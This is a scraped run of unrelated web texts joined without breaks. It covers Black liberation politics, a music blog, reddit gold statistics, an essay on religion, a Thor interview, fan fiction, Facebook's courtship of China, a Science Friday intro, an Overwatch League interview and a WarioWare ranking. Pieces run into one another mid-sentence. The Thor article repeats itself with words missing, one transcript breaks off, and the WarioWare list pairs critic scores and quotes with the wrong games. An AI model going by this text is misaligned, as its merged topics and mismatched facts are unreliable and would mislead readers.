It is absolutely 100% necessary for Black people in the US to abandon metaphysics and adopt dialectical and historical materialism if we ever plan on achieving total liberation from the systems of White supremacy. We must also understand that capitalism in itself is a tool of White supremacy and the social hierarchies it promotes are the justification for our oppression. “Third Eyes” don’t exist, you can’t “charge” crystals in the moonlight, and a diet without pork won’t bring you closer to God, and even if it did, none of these things will help us overcome the systemic oppression we face at the hands of White supremacy. Metaphysics, Hotepism, and the works of writers like Francess Cress and the like, are obstacles in the movement for Black liberation, meant only to be trampled and exposed as the reactionary nonsense they are. They are weapons forged against the people. Our oppression is material, and only a materialist approach will liberate us.by @thoughtontracks
Back in June, I featured Belfast’s Girls Names’ most recent single “A Troubled See” as a track worth your attention. Late last week, the group released another single entitled “The New Life” which officially pushes their next album into my own personal “most anticipated” category. Clocking in at 7:35, the single is a sprawling cacophony of reverb and dreary vocals to go along with a mesmerizing beat. But despite its length and that description, there is plenty of great things going on here that are sure to translate even more into a live set. Hopefully a lengthy tour including stops in the Midwest is in the works after the follow up to 2011’s Dead To Me is officially released. You can preorder the 12” featuring this track and a J D Twitch Optimo remix from Slumberland Records. Cheers and enjoy friends.
Connect with Girls Names via Facebook
Written by Greg DahmanDear everyone,
We’d like to thank everyone who’s been buying gold or gilding comments, and thought we’d share some interesting stats on where some of that gold goes. The following are some stats we pulled on gilding activity over the past 6 months:
Most gilded subreddits:
(These links will take you to the “gilded” tab in each subreddit, showing you the gilded comments therein)
Sent to us via postcard. You could send one in too.
Most gilded small subreddits (at least 500+ subscribers, sorted by gildings-per-subscriber ratio):
Secret pro-tip in the middle of this post – you can see a feed of all gilded comments here! But back to…
Most highly-gilded threads:
/r/AskReddit: An exercise in greed. Can I buy my way to the front page? Gold for every upvote/comment. (please don’t do this)
/r/AskReddit: Wingmen of reddit, what crazy things have you done to get your friend laid?
/r/circlejerk: ☜ Click it or ticket.
/r/NFL: The earliest each team can lay their hands on the NFL Belt.
/r/blog: reddit myth busters
/r/AskReddit: If you received 1 million dollars every friday, but were required to spend every cent before the next friday, what would you spend your money on?
/r/IAmA: I am Ron Paul: Ask Me Anything.
/r/AskReddit: What reddit fad are you glad died out?
/r/movies: I’m Samuel L Jackson and I’ll record a video of me saying any 300 word monologue you upvote the most by the end of tomorrow (Thursday night PST)
/r/AskReddit: What is the most cruel thing a family member has done to you? [NSFW]
/r/AskReddit: What’s your most embarrassing ‘I thought I was alone’ moment?
/r/funny: Because she’s an artist
/r/AskReddit: Is there a person, a stranger, whom you met once in your life and never met since and are likely to never meet again that you occasionally think of? If so, why?
/r/AskReddit: What’s the worst comment to receive reddit gold?
/r/AskReddit: What’s your current reason for being unhappy?
/r/AskReddit: What’s a random act of kindness you did but never bothered to tell anyone about it?
/r/AskReddit: What morbid question have you always wanted to ask but haven’t?
/r/AskReddit: What is the biggest way people waste money?
/r/pics: A tornado sucking up a rainbow
/r/AskReddit: US Government Shutdown MEGATHREAD
Another postcard gem.
Note: Asking for gold is rarely the best way to get it.
Most highly-gilded comments (you’ll want to read these):
OJs_Lawyer on Wingmen of reddit, what crazy things have you done to get your friend laid?
99trumpets on Explosion at Boston?
sudonim on Best email solution for my startup
CockRagesOn on I’m Samuel L Jackson and I’ll record a video of me saying any 300 word monologue you upvote the most by the end of tomorrow (Thursday night PST)
UtterPedant on Can’t believe what I found at the yard sale!
Indie-fied on What are you addicted to?
161719 on I believe the government should be allowed to view my e-mails, tap my phone calls, and view my web history for national security concerns. CMV
Scarbane on What would you do for $1 billion, but not for $1 million?
presidentender on Best option to use to commit suicide
dreale on Obama wins the Presidency!
Sqorck on I think this would be a good NSA-critisising animation, if I had the skills
VorDresden on Two possibilities exist…
bradg on A lone Eagle Scout marches in the Phoenix Pride Parade. “A Scout Is Kind”
Daps27 on “Whatever rage you’re feeling toward the perpetrator of this Boston attack, that’s the rage in sustained form that people across the world feel toward the US for killing innocent people in their countries.”
this_makes_no_sense on Kid tries to be edgy for Easter on r/atheism
backnblack92 on What atrocities are occurring around the world right now, and what actions can an individual take to help rectify them?
BrobaFett on Was googling for med school application. Yep, that insulin shot and those antibiotics are definitely killing you.
Asyx on A 90% coupon code was accidentally left in the online store of razer. The CEO decided to honor all the orders placed.
StoryTellerBob on If you could have one statistic displayed above everyone’s head what would it be?
More trivia: the most total gilding done by a single user over the past 6 months is 144 months of gold (that’s 5.6 gilds per week, so we’re pretty impressed), followed by 120 months for second place. We’d tell you who they are, but unless otherwise notified, we assume that such beneficent benefactors desire to remain anonymous.
‘How it Feels to get gifted gold’ by /u/Half-Maus
And as an ongoing thanks for your support of reddit, we have three new gold benefits to announce:
Homejoy – cleaning your place. Four months of discounted cleaning at $15/hour up to 20 hours/month with no charge for cleaning supplies.
UberConference – easy and better conference calls, with visuals. We use this here at reddit, and like it a lot! You get three free months of UberConference pro, which includes international dial-in numbers for 50 countries.
United Parcel Service (UPS) – 3 months free of MyChoice Premium, which allows you to tell them when you want your packages delivered to your house. No more missed packages!
You can subscribe to any discussions about new and existing gold benefits at /r/goldbenefits. If your interest is piqued consider buying yourself or someone you love reddit gold.
Lastly, thanks to you, our loyal gold users for supporting reddit with your gold subscriptions! You’re helping to reduce our dependence on ads and make reddit community-supported!
discuss this post on redditWe are all born onto this Earth as the product of a mother and a father in a more-or-less helpless state. From the moment of birth we depend upon those around us to feed us and protect us from the ravages of the outside world. Unlike most other species on the planet who are born or hatched into situations that warrant that they are already on the move, a newly born human comes into the world as a completely dependent being, requiring the parents and extended families to be there for him or her. Our first moments on earth are bonding moments with our mothers, a time when we create ties that we hold onto for life. For most of us, our mothers, and to a lesser extent our fathers, are a symbol in our own lives of safety, caring, knowledge and guidance. Even into adulthood, we hold onto these bonds, for they are our introduction into the world. We are born at the center of our known universe. Parents care deeply for their children, would do anything in fact to protect them, even risking their own lives for the children to be safe. In the perfect situation, every need was provided for by our mothers and fathers, and if we asked nicely, our simple wishes could be granted. Humans need their parents and protectors, and we crave the unconditional love of our protectors well past the time when they are needed for our immediate survival. Our parents and carers are our immortal figures, always right, always there for us, and all-powerful. And they are also the deliverers of discipline and rules and guidelines for our lives.
This kind of unconditional love is soft-wired into our brains, and evolutionary advantage, which allows the brain and mind of a person to develop the complex and needed skills in early life such as speech and speech recognition, facial recognition, communication, and later motor skills like crawling, walking and digital manipulation of objects. Our societies grant us this privilege by providing us with a relatively safe place to rear our children. Most of us are not born into situations where imminent death looms in the grasses, at least, not any more.
As we grow up, our bonds to our parents weaken slightly, as we become more independent and self-reliant, but there is a part of us that still craves to be the focus of everything. We realise that our parents are simply people like ourselves, mortal, fallible and fragile. Some would say we all desire, somewhere in our psyches, to return to the infantile and helpless state, one where we are looked after and safe, with not a care in the world. As we extend our boundaries and our knowledge, our needs and wants become more complex, and we have to balance out our days in our schools, jobs, home life, social responsibilities etc. so the immediate need for parent-figures diminishes. Eventually, we pass this on to children of our own, and we become the carers and protectors of the next generation.
We know at an early age about death, and realise that we will each face death one day. Even our own parents, the ones who seemed invincible will too, one day, die. Quite a daunting idea. And in a child’s naive voice we will ask “But what comes after?” No matter how we mature we never seem to truly leave behind this need for a parental figure. We want the protection of something larger than ourselves, stronger than us, wiser and more powerful. This position is vacant in our lives, our parents being more like ourselves than we first conceived, so we have a tendency to fill this position, in our minds, with exactly what we miss from our childhood.
A creator, who by its divine hand, brought us (and everything else) into existence for us. A protector, old and wise, who knows everything. A provider, who miraculously brings to us everything we could possibly need. A disciplinarian, who will bring punishment upon us if we disobey. A friend who can see our deepest thoughts, and tell us that we are indeed special. A hand that is always there to guide in life, and help when times are tough. God is the ultimate parent-figure.
By this logic, if we are special, and cared for from above, and all is provided for us here on Earth, the logic follows that it must have been put here for us, and us alone. We are so special that God made all things bright and beautiful for humanity to enjoy, use and benefit from. Because God chose to give us life, it is our birthright to take and have all that we might want from this earth, for it is ours to take. And if we don’t get what we want, we ask, pester and request of God that we get what we want.
Once upon a time, there was the belief that the god or gods looked over all of us, the same gods for everyone. But our human conceit and self-importance has grown to the point where many believe that God is personalised, like the license plates on a car, to suit the wants and needs of an individual, as if to say that a single life is so important that God will be what you want it to be. So often people say things like “My god isn’t like that” or “The god I know is against that,” to match the intended outcome of the person saying it, like matching the personal god to the shoes that person is wearing. God is the ultimate accessory that no Prada handbag can match.
It seems that despite all the personal maturation that each person does in a lifetime, we as a species still struggle with being alone. The formative moments of our lives, where each one of us is the center of the known universe, carries on into adulthood in the form of creator-gods and all-powerful beings. And this carries with it the unfortunate side-effect of thinking that, because the Earth suits us so nicely then it must have been made for us. We have to realise that the inverse is true, that it is precisely because the Earth suits us so nicely that we exist at all. Humanity is the spoiled child of the universe, and we need to grow up.
The passage that lead me to write this blog is below, in Carl Sagan’s piece entitled “Consider Again that Pale Blue Dot”, a revisitation to the Pale Blue Dot from 1996.
“We seem to crave privilege, merited not by our works, but by our birth; by the mere fact that, say, we’re humans, and born on Earth. We might call it the anthropocentric, the human centred conceit. This conceit is brought close to culmination in the notion that we are created in God’s image. The creator and ruler of the entire universe looks just like me.
My! What a coincidence! How convenient and satisfying!” – Carl Sagan
AdvertisementsChris Hemsworth Improvised Thor: The Dark World's Best Visual Gag By Katey Rich Random Article Blend
Chris Hemsworth isn't a demigod, he just plays one in a massively popular superhero franchise. And while the physics of Asgard might make it so a long red cape and flowing blond hair are the best things to bring into battle, in reality Hemsworth winds up looking exactly like you think you would in a giant battle scene: with that giant red cape flopped over his head.
I didn't really mean to talk to Hemsworth about his costume when I interviewed him about
I also couldn't help but ask him about the status of relieved not to be able to answer anybody's questions, especially since he hadn't read the script. With Thor: The Dark World opening in theaters Age of Ultron in 2015 that we see Hemsworth back on-screen as Thor. That gives him plenty of time to practice his cape-wrangling. Chris Hemsworth isn't a demigod, he just plays one in a massively popular superhero franchise. And while the physics of Asgard might make it so a long red cape and flowing blond hair are the best things to bring into battle, in reality Hemsworth winds up looking exactly like you think you would in a giant battle scene: with that giant red cape flopped over his head.I didn't really mean to talk to Hemsworth about his costume when I interviewed him about Thor: The Dark World a few weeks ago in London, but when I walked into the room he was sitting there with his shoes off, wearing thin black socks instead of Thor's big leather boots. That led to talking about leather pants, and then how to handle Thor's hammer (and the fantastic visual gag that he improvised), and then of course to the cape, which seems like an awful pain in the neck to drag behind you whether you're fighting off Dark Elves or not.I also couldn't help but ask him about the status of The Avengers: Age of Ultron, which of course he couldn't tell me anything about-- but it was interesting to hear that he's actuallynot to be able to answer anybody's questions, especially since he hadn't read the script. Withopening in theaters this weekend, it won't be untilin 2015 that we see Hemsworth back on-screen as Thor. That gives him plenty of time to practice his cape-wrangling. Blended From Around The Web Facebook
Back to top"Weiss, what would you like?"
"Anything's fine with me," Weiss folded her arms and looked out the window.
Blake, who had her elbow propped up on the window sill of the car and her other hand placed firmly on the steering wheel, shifted her gaze to her girlfriend, "Are you okay?"
Weiss unfolded her arms and continued to look out the window, this time supporting her chin with her palm. She sighed and responded to the irritating question, "Yes, Blake, I'm fine. Just order what we usually order, okay?"
Blake and Weiss were sitting in the drive-through of McDonald's, and Weiss was currently being very moody.
Blake rolled her eyes and shifted her position to face Weiss a little more, "We're almost at the order box. Are you absolutely sure you don't want anything specific?"
"I really don't feel like playing 20 Questions with you over what to order from a fucking McDonald's, and I certainly do not want a Happy Meal!" Weiss shouted, covering her mouth the instant she breathed the last part of her sentence.
...
Blake smirked and stepped on the gas, eager to get to the speaker.
A cheerful voice rang out from the small box, "Hi, what can I get for you today?"
Pushing her girlfriend away by the shoulders, Blake struggled to order, "Y-Yes, hello—Weiss, stop!—Can I please get the number 2 combo, and a Happy—mmffh!"
Weiss had successfully conquered Blake's arm barricade and sealed her mouth shut before she could spill her most well-guarded secret to the fast-food worker.
a/n: I started a thing about these two idiots in various situations. More than likely, the chapters will just be all over the place, not connecting unless stated in the title.
Enjoy!For U.S. Internet businesses, China is the land of moral defeat. Many people hoped that Western technology companies would loosen China’s control over information. Instead, those companies have willingly participated in efforts to censor citizens’ speech. Yahoo gave Chinese authorities information about democracy activists, landing them in jail. Microsoft shut down the blog of prominent media-freedom activist Michael Anti. Google censored search results that were politically sensitive in China. In 2006, those three companies came before Congress and were accused by a subcommittee chairman of “sickening collaboration” with the Chinese government. Google shut down its mainland Chinese search engine in 2010, publicly complaining about censorship and cybersecurity.
Facebook has been blocked in China since 2009, and its Instagram photo-sharing service was blocked in 2014. I once thought that it would be disastrous or impossible for the social network to try a Chinese adventure of its own, and some China experts still believe that to be true. But a Facebook launch in China now looks probable.
Facebook’s founder and CEO, Mark Zuckerberg, has signaled to Beijing that he’s willing to do what it takes to get into the country. People who know the company well think it will happen. “It’s not an if, it’s a when,” says Tim Sparapani, who was Facebook’s first director of public policy and is now principal at SPQR Strategies, a consulting firm. Facebook declined to comment for this article, but Zuckerberg said last year: “You can’t have a mission to want to connect everyone in the world and leave out the biggest country.”
Things reviewed Facebook
WeChat
A decade after Google’s hopeful but ill-fated entry into China, U.S. Internet companies may see the Chinese market as even more tantalizing—yet impenetrable. The number of Chinese Internet users has surged to some 700 million, and they represent a valuable untapped resource for American companies with saturated, highly competitive home markets. But the Communist Party’s attempts to control information have also grown more intense. In addition to the “Great Firewall” that blocks access to foreign websites, legions of human censors, many employed at Internet companies, police domestic blogs and social networks. And a U.S. company would now have to compete with China’s own Internet giants. WeChat, a messaging app from the behemoth Tencent, has hundreds of millions of users.
Zuckerberg clearly thinks China is worth the trouble, even if that means leaving some “Western values” at the door. Earlier this year, he traveled to Beijing and had a high-profile meeting with China’s propaganda chief, Liu Yunshan. Chinese state media reported that Facebook’s founder praised China’s Internet progress and pledged to work with the government to create a better cyberspace. Liu highlighted the notion of Internet governance “with Chinese characteristics.” The translation was clear: a Chinese version of Facebook would definitely be censored. This year’s trip was something of a sequel. In 2014, he hosted Lu Wei, minister of the Cyberspace Administration of China, at Facebook’s offices. President Xi Jinping’s book The Governance of China just happened to be on Zuckerberg’s desk.
This courtship hasn’t been without some awkward moments. When Zuckerberg posted a photo of himself cheerfully jogging through the polluted haze of Tiananmen Square this year, he was mocked on Chinese social media. But overall he has made the right moves, says Cheng Li, director of the John L. Thornton China Center at the Brookings Institution. “Chinese leaders pay a lot of attention to personal relationships,” he says. “They think Mark Zuckerberg is a friend of China. He’s successful. He’s very China-friendly. He has a Chinese wife. He speaks Chinese. So what else do you want?”
At your service
Facebook will still have to overcome Beijing’s suspicions that American Internet companies could destabilize the Communist Party’s rule. Media outlets that described the Arab Spring as the “Facebook Revolution” didn’t do the company any favors. And documents leaked by the former intelligence contractor Edward Snowden fueled Chinese suspicions that American technology companies had “back doors” for U.S. government surveillance.
But Facebook’s potential to help Chinese businesses go global could lead Beijing to see the company as a net positive. It already sells advertisements to Chinese companies for display outside the country, but launching a version of Facebook in China could strengthen the connections between Chinese companies and overseas customers.
The fact that China now has mature social-media companies of its own might also make the government less wary of Facebook. The company would be unlikely to displace incumbents such as the ubiquitous WeChat, which has taken hold in China in a way that few outside the country truly appreciate. People use WeChat not only to communicate but to make purchases, hail taxis, and book doctor’s appointments. In America you can say “I’m not on Facebook” and still be a functioning member of society. Avoiding WeChat in China is much harder.
Zuckerberg’s overtures to China have already caused some alarm, but he doesn’t seem to care.
Facebook doesn’t have to unseat WeChat in order to succeed. Capturing a relatively small fraction of China’s enormous Internet market could bring in significant revenue. The U.S. company should be able to differentiate itself by providing a bridge to the wider world. “WeChat can’t compete in that domain,” says Cheng, of the Brookings Institution. “Facebook is a global name. WeChat is a Chinese name.”
Google could make a similar argument. Despite closing down its Chinese search engine in 2010, Google still sells advertisements in China. Lokman Tsui, Google’s former head of free expression for Asia and the Pacific and now an assistant professor at the Chinese University of Hong Kong, says, “If you are a Chinese company and want to reach global audiences, Google is still a really good option.”
This past June, Google’s CEO, Sundar Pichai, said that he wanted the company to properly return to the country. “We want to be in China, serving Chinese users,” he said, speaking at the Code Conference. Tsui says there have been “rumors” that Google’s Play Store may enter China (the company declined to comment). Google’s Android mobile operating system is wildly popular in China, but the company’s ability to extract revenue from that position is limited because the Play Store isn’t available.
Google’s troubled history with Beijing represents a considerable hurdle, however. “They are certainly not trusted,” says Kaiser Kuo, formerly director of international communications at the Chinese search engine Baidu and now the host of the Sinica podcast at China-focused media startup SupChina. Kuo, a well-respected voice on Chinese Internet issues, thinks Facebook’s China prospects look promising. “It’s likely that they will be in with some of their significant services within the coming year,” he says. “There is fairly high-profile engagement with high-ranking Chinese officials and ranking brass at Facebook. You can’t ignore those signals.”
Deal with it
If Facebook does get the green light from Beijing, sticky questions remain about the conditions that would be attached. Would it have to work with a Chinese partner? Would the government require that Facebook store data inside China, making it easier for authorities to access?
Some technical challenges are already clear. Facebook wants to bring everyone into a global network, but Chinese users would be offered very different experiences from those available to their friends in other countries. Sparapani, Facebook’s former policy director, argues that this shouldn’t be hard to do. “You can geo-fence just about anything,” he says. For example, Facebook already occasionally alters what people in different places around the world can see on the site. In 2015 the company blocked users in France, and only France, from viewing a photo of terrorist attack victims. That same year, a photo of a boy urinating on the Indian flag was made unavailable in India. After receiving a request from the U.K. Gambling Commission, Facebook restricted U.K. access to groups promoting raffles.
Regularly censoring Chinese pro-democracy activists would generate much more controversy. Zuckerberg’s overtures to China have already caused some alarm; his recent Beijing trip triggered tweets tagged with #suckerberg. But Zuckerberg doesn’t seem to care. If he were so worried about accusations of cozying up to China, then he probably would not have asked President Xi Jinping to give his baby a Chinese name (Xi declined) or so publicly made nice with his propaganda chief.
Zuckerberg likes to say that Facebook exists to “make the world more open and connected.” China is an important part of this plan. Google made a similar argument when it went to China in 2006: It’s better to be there than not. More connectivity is good, even if you have to make a few sacrifices along the way, such as participating in Chinese censorship.
Would Americans buy that argument? Maybe not. Journalists would write scathing articles. Activists and social-media users would unleash derision. U.S. government officials might express concern. But people would keep using Facebook.
Emily Parker has covered China for the Wall Street Journal and been an advisor in the U.S. State Department. She is the author of Now I Know Who My Comrades Are: Voices from the Internet Underground.Decoding 'the Most Complex Object in the Universe'
The human brain contains some 100 billion neurons, which together form a network of Internet-like complexity. Christof Koch, chief scientific officer of the Allen Institute for Brain Science, calls the brain "the most complex object in the known universe," and he's mapping its connections in hopes of discovering the origins of consciousness.
IRA FLATOW, HOST:
This is SCIENCE FRIDAY. I'm Ira Flatow. Your brain has nearly 100 billion neurons, and one of my next guests compares that complexity to the Amazon rainforest. In fact, he says there about as many trees in the Amazon as there are neurons in your brain. Think about what the Amazon looks like for a second.
And the roots and the branches and the leaves and the vines, all of that can be compared to the tangled network formed between your brain cells because many of your neurons are in fact wired to tens of thousands of other neurons. That incredible complex network is packed into a soft, three pound organ inside your head, making it, as my next guest says, the most complicated object in the known universe.
Is it possible we'll figure out |
coach who was already working really well with those players.
While Lunatic-Hai's championship victories were considered, it wasn't like, 'Oh, we're just going to pick up the championship team.' We strongly considered other teams that hadn't won big trophies. In fact, we went to Lunatic-Hai before the Season 3 finals, and told them that even if they don't win the finals, we would still want to make a deal.
YJJ: Were there any other players or staff you wanted to bring in along with the first six?
KC: No, and we're taking our time at the moment. We're being diligent in thinking about both the strengths and the weaknesses of the core Lunatic-Hai roster that we picked up. There are still weaknesses that we are very aware of, and both the coaches and the owners are having lots of discussions about how we want to build the rest of the roster. Of course, we are also making various adjustments with the team we currently have, and we're eager to see how those work out in our future APEX matches.
YJJ: Should the fans be expecting backups or superstars for the second six?
KC: Overwatch League will have a number of things different from APEX. The most obvious one is that all teams can have up to 12 people on their roster. And it's likely that there will be more substitutions allowed throughout a match compared to what happens in APEX. So all this changes how we think about things. You could literally put together two full rosters.
Right now, every owner will be thinking about whether to put two full teams together and have them train for different maps and scenarios. A team might be really good defending against dive comps, whereas another might be really good playing dive comps. And we have to think about control point maps too -- it's not a secret that we lost all of the control point maps in the APEX finals. And the DPS meta is changing rapidly with the recent patches. So we're thinking about all of these things in the context of what the OWL match structure will be. It's going to be a lot of work, but we're going to put together a good plan.
YJJ: It definitely sounds like you know exactly what you're talking about.
KC: [laughs] I'm telling you, I'm not lying when I say that I'm really, really into it!
YJJ: You also acquired one of the largest fanbases in South Korean esports. What can the fans expect in terms of fan engagement and content?
KC: I know that a lot of players in Korea stream long hours of ranked play because the pay structure in the scene isn't that great and they need supplemental income from their stream. But Overwatch League is going to change that. Even the league's minimum wage allows for a reasonable living, so there will be less pressure to stream for money. I also honestly think that streaming ranked play doesn't really help the player's competitive chances -- it's basically anti-training in several ways. So we're going to make sure that players don't need to stream for money, but still can regularly connect with their fans. I believe that we may do more [in real life] streams, particularly when the team moves halfway across the world.
We will be producing a lot of shoulder content. The whole team is going to live in another country for a few months representing Seoul -- a lot of moments and stories will come out from that alone. There will be different types of shoulder content, and in general there will be much more content about the team, the players, and their personalities. We're also working very closely with the fan club, which has been supporting Lunatic-Hai long before we joined forces. They gave us a lot of good ideas about how we could connect with the fans. It's going to be fun. We're going to try out a lot of things and try to tell a lot of stories.
YJJ: Lunatic-Hai also commands a huge number of anti-fans, and many of your players have previously professed frustration towards the constant hate. What's your perspective on this issue?
KC: What I've told the players and coaches is that every champion team is going to have anti-fans. The whole point of sports is that there are many people who compete at a world-class level but only one team that wins. And anybody that wins is going to make all of the other teams' fans unhappy. So it's very natural to have anti-fans. If you win a championship, a bunch of people are not going to like you -- that's a fact of life -- and if you read all of that stuff and get emotional about it, you can drive yourself crazy. The easiest way to deal with that is to not pay attention to it and just focus on competition and sportsmanship.
We will have to deal with that at even higher levels once we start competing in the OWL because it's an international championship. So we need to get into the right mindset right now. And I believe our players are responding well to this challenge.
YJJ: Many fans of competitive Overwatch are concerned for its future. Global viewership has not been too impressive recently, and in Korea, the game itself is rapidly losing ground.
KC: Contenders is going on right now, as is the World Cup, but these events aren't really established, regular competitive circuits -- apart from the unique exception of APEX, there simply isn't any "real" formalized competition in Overwatch right now. So I don't think the numbers right now tell us that much about how Overwatch League will do, nor do I think how Overwatch is doing in Korea is representative of how Overwatch is doing across the world.
Blizzard has been putting so much focus on preparing for Overwatch League, and an amazing amount of marketing resources will go into the league. I'm looking forward to how it will generate interest in the game and the scene worldwide. It's also important to remember that competitive Overwatch is still very young and all the storylines are just starting to develop.
YJJ: How do you foresee the future of APEX? As the Korean scene will most likely hemorrhage at least two dozen top players to various teams in the Overwatch League, many domestic viewers are concerned that APEX will turn into a shadow of its former self.
KC: So from a big-picture perspective, I think esports in the past -- and even today for many games -- has been a bottom-up, grassroots thing. You started playing by yourself, then with a friend, then with people of your skill level online, then maybe you won a qualifier, then a tournament, and if you were still doing well, you would think about turning it into an actual career.
But what Overwatch League represents is a top-down structure -- you have a very successful game, so you find team owners willing to invest in entire ecosystems and build up organizations fully equipped for the long term. And this top-down system can only really work when there's a really strong grassroots scene underneath, like baseball or soccer or football or basketball, where the ladders below the professional level stretch from collegiate sports all the way to little league.
I would love to see APEX become something like what collegiate football is in America -- a real revenue generator with top-tier athletes. I am actually looking forward to investing in APEX and working with many of its teams so that it can continue to be very successful.
YJJ: Do you have any final words for your fans?
KC: Well, I hope that I don't have any fans. [laughs] My job is to put together a great organization for the long term, to build a business that's sustainable, to put together a championship roster, and to invest in the infrastructure they need to succeed. And I hope that people like what I do, but I certainly hope that the fans will be fans of the players, not me. The players are the ones who have to go through all the training and competition. They are the true heroes of what we're doing.
I hope everyone understands how hard the players' jobs are. Every team will go through rough patches every now and then. I hope the fans accept that. As great as a team we're going to put together, we're not going to win every single game. We may not even win the championship even though that's exactly what we're trying to do. But we will do everything we can to represent Seoul well and bring home the global championship.the warioware series
as ranked by geozeldadude and metacritic
# geozeldadude‘s list ranking according to metacritic
1 warioware: smooth moves (wii): smooth moves was my first warioware experience, and i was definitely spoiled by it. at the time i was impressed by the series’ hallmarks, namely the lightning-speed pacing and the laugh-out-loud humor (not to mention fun reworkings of nintendo classics), but i also appreciated how well-structured the game was, in terms of taking all the myriad possible ways of using the wii remote and clearly organizing them into categories via “poses”. although some of the pointer-based movements take some trial and error, once you figure them out it’s pretty much non-stop fun. it’s a great intro to the series, and in my opinion has never been bettered since the versatile wii remote allows the game to offer even more variety than the original title, and even twisted. some of the later games felt more like tech demos than actual games, but this one felt like it not just showed off the new (and revolutionary) possibilities of wii, but really reveled in and explored them. a game that i’ve come to appreciate more since i first played it, and one i’m looking forward to revisiting. warioware, inc.: mega microgame$! (GBA) (critic score: 89, user score: 8.8) Nintendojo (90): It may be over quick, but it’s got the sort of staying power and pick-up-and-play appeal that’ll keep you coming back whenever you get tired of the latest games. It’s the perfect title for anyone who craves addictive, fast-paced action or just something different from the status quo. IGN (90): There’s no way you’ll see everything on the first time through. This game is amazingly fun, incredibly funny, and a really intense gaming experience in the later levels. Eurogamer (90): If variety is the spice of life, then Wario Ware is the digital equivalent of Phall curry, burning the inside of your face with its charm and originality.
2 warioware: twisted! (GBA): yet another case of a close second, and another case where if i had played this before smooth moves i could easily see myself giving it the edge. the microgames have a level of variety, wackiness, and over-the-top presentation only rivalled by smooth moves, all the more impressive since the hardware (accomplished by the cartridge’s included gyroscope) is more limited than the wii remote. the game, like others in the series, also includes tons of unlockable “souvenirs”, including music tracks, virtual kaleidoscopes, musical instruments, gadgets, and minigames, which definitely adds to the fun and replay value despite the fact most are completely random, throwaway, and useless. but, like the microgames themselves, almost all of them will leave you smiling and the ones included in this entry to the series were particularly strong. twisted was one of those cases where a sequel really took the original’s ideas and improved them in almost every way. a definite classic. warioware: twisted! (GBA) (critic score: 88, user score: 8.9): the critic score is only one point lower than the original game, and the user score is actually one point higher than the original game. here’s what the critics said: Electronic Gaming Monthly (90): The technology works perfectly – spinning your GBA around feels utterly alien yet supremely fun. [Apr 2005, p.135] GameSpot (88): The spin sensor feels less like a gimmick and more like a tightly integrated feature that makes the entire game feel inventive and unique. Nintendojo (87): A must own title for your Game Boy Advance. It’s the perfect traveling game even though the story mode is over quickly.
3 warioware, inc.: mega microgame$! (GBA): the game that started it all. although i feel like the formula achieved more with twisted and smooth moves, the original is still completely enjoyable and fun. in some ways it’s even more of an achievement since it relies on simple button presses instead of a “gimmick”. a definite classic, and definitely the obvious choice for the top 3. warioware: smooth moves (wii) (critic score: 83, user score: 7.3): NintendoWorldReport (85): Variety is king in WarioWare, and while the game does not contain an absurd amount of pointless unlockables, or a true high-score mode for individual games, it is still a ton of fun. PALGN (80): An excellent addition to the Wario Ware series and the ideal game to show what the Wii can do. Its lifespan may be a little on the short side but there’s definitely enough enjoyment here for your money.
4 warioware: D.I.Y. (DS): i don’t really look to video games to be my creative outlets, but i was still impressed by all the tools D.I.Y. provides for making your own microgames, as well as 4-panel comics and songs, and not just that but provides ways to ease players into those modes without intimidating them. the game also included enough microgames, albeit simplified, to make it feel worthwhile even if you completely ignore the design modes. warioware: D.I.Y. (DS) (critic score: 82, user score: 8.7): 1UP (83): Creativity often thrives under the most severe limitations, and those who relish the opportunity to entertain others (or even just themselves) in videogame form will love WarioWare D.I.Y. It provides a detailed yet streamlined mechanism for creativity, meaning the challenge is in coming up with creative ideas rather than wrestling with the interface.
5 warioware D.I.Y. showcase (wiiware): past the top 4, the ranking of the remaining games in the series really depends on your preference. D.I.Y. showcase provides a way for you to take your warioware D.I.Y. creations from your DS and view them on your TV via your wii, and overall works quite well. games look pretty good in the transition from DS to TV, and the wiiware title also includes about half as many microgames as the DS game, all of which can also be transferred back to your DS for modifying into new creations. there’s not a whole lot to do and the $8 price tag does feel a bit on the high side, but for fans of the DS title this is be a nice complement, although not essential. warioware: touched! (DS) (critic score: 81, user score: 8.2): Edge Magazine (80): It may be formulaic, but that formula is still one of invention, surprise and excellence. [Jan 2005, p.87; JPN Import] Play Magazine (80): My only criticisms are that the NES-themed games aren’t as creative as before, and the game is a bit easy. [Apr 2005, p.70] PALGN (80): But my biggest problem with the game is really just the slight lack of craziness that I’ve come to expect from Wario Ware. I rarely laugh out loud at a game, but the original Wario Ware provided me with much humour with its general wackiness.
6 warioware, inc.: mega party game$! (GCN): the game is definitely more of an expansion to the original than a new game, and recycles all the content while adding new modes, mostly multi-player. there are a couple of new unlockable single-player modes, namely a “master” (i.e. marathon) mode in which you play through all 204 of the microgames (omitting the 9 boss battles) and see how many you can get, and two random minimalistic music videos. the most worthwhile single-player addition is a time attack mode where you try to complete 20, 40, or 60 microgames in the least amount of time (for every one you win the speed goes up and for every one you lose the speed goes down). not being into multi-player much in general the other modes were sort of wasted on me, but i appreciated them despite not getting much of a chance to play around with them. warioware, inc.: mega party game$! (GCN) (critic score: 76, user score: 8.3): GameBiz (77): Unless you’ve never played the first Wario Ware or are going to take full advantage of the multiplayer aspects, there isn’t really too much new for you here. IGN (75): The fact that the vast majority of minigames in this GameCube title heralds from the GBA is a huge disappointment. But even if you haven’t played the GBA game, know that the single-player setup that worked so beautifully on the Game Boy Advance doesn’t translate well to the GameCube.
7 warioware: touched! (DS): the game was designed to show off the DS’s capabilities, but otherwise didn’t feel as original as entries in the series. the game would have felt more novel when it was released around the time of the DS’s launch, but its core experience doesn’t hold up nearly as well as twisted or smooth moves. a prime example of a “by the numbers” sequel that, thankfully, the series’ developers haven’t had to resort to before or since. warioware D.I.Y. showcase (wiiware) (critic score: 73, user score: 8.4): Vandal Online (75): Its real potential resides in its connectivity with the Nintendo DS version. That is the real showcase. Eurogamer (70): Still, if you fancy a means of enjoying the unhinged insanity of user-created microgames on the big screen, Showcase is a worthy purchase.
